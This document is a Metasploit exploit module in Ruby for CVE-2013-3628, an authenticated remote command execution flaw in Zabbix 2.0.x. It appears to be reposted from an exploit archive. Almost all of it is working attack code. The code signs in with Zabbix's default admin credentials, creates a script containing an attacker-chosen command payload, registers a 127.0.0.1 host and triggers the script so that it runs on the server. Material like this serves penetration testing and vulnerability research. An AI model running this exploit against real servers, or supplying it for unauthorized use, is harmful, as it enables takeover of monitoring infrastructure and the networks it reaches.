Zabbix Authenticated Remote Command Execution Exploit

:
06.11.2013
:
Zabbix v2.0.9
:

#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Zabbix Authenticated Remote Command Execution',
'Description' => %q{
ZABBIX allows an administrator to create scripts that will be run on hosts.
An authenticated attacker can create a script containing a payload, then a host
with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.

This module was tested againt Zabbix v2.0.9.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
],
'References' =>
[
['CVE', '2013-3628'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
],
'Payload' =>
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet python',
}
},
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic',{}]],
'DisclosureDate' => 'Oct 30 2013',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
], self.class)
end

def check
init = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/index.php")
})

if !init or init.code != 200
print_error("Could not connect to server")
return Exploit::CheckCode::Unknown
end

if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
if $1 >= "2.0.0" and $1 <= "2.0.8"
print_good("Version #{$1} is vulnerable.")
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
end

def exploit
c = connect

req = c.request_cgi({
'method' => 'POST',
'uri' => '/zabbix/',
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
})

login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))

if !login or login.code != 302
fail_with("Login failed")
end

sess = login.headers['Set-Cookie']

dash = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
'cookie' => sess
})

if !dash or dash.code != 200
fail_with("Dashboard failed")
end

sid = ''
dash.body.each_line do |line|
if line =~ /&sid=(.{16})\">/
sid = $1
break
end
end

if sid == ''
fail_with("Could not get sid")
end

script_title = rand_text_alpha(18)
post = {
'sid' => sid,
'form_refresh' => 3,
'form' => 'Create+script',
'name' => script_title,
'type' => 0,
'execute_on' => 1,
'command' => payload.encoded,
'commandipmi' => '',
'description' => '',
'usrgrpid' => 0,
'groupid' => 0,
'access' => 2,
'save' => 'Save'
}

resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/scripts.php'),
'vars_post' => post,
'cookie' => sess
})

if !resp or resp.code != 200
fail_with("Error creating script")
end

script_id = ''
if resp.body =~ /scriptid=(\d{1,8})&sid=#{sid}\">#{script_title}/
script_id = $1
else
fail_with("Could not get the script id")
end

host = rand_text_alpha(18)
post = {
'sid' => sid,
'form_refresh' => 1,
'form' => 'Create+host',
'host' => host,
'visiblename' => host,
'groups_left' => 4,
'newgroup' => '',
'interfaces[1][isNew]' => true,
'interfaces[1][interfaceid]' => 1,
'interfaces[1][type]' => 1,
'interfaces[1][ip]' => '127.0.0.1',
'interfaces[1][dns]' => '',
'interfaces[1][useip]' => 1,
'interfaces[1][port]' => 10050,
'mainInterfaces[1]' => 1,
'proxy_hostid' => 0,
'status' => 0,
'ipmi_authtype' => -1,
'ipmi_privilege' => 2,
'ipmi_username' => '',
'ipmi_password' => '',
'macros[0][macro]' => '',
'macros[0][value]' => '',
'inventory_mode' => -1,
'save' => 'Save',
'groups[4]' => 4
}

resp = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/hosts.php'),
'vars_post' => post,
'cookie' => sess
})

if !resp or resp.code != 200
fail_with("Error creating new host")
end

hostid = ''
if resp.body =~ /hosts.php\?form=update&hostid=(\d{1,12})&groupid=(\d)&sid=#{sid}\">#{host}/
hostid = $1
else
fail_with("Could not get the host id")
end

send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/scripts_exec.php?execute=1&hostid=#{hostid}&scriptid=#{script_id}&sid=#{sid}"),
'cookie' => sess
})
end
end

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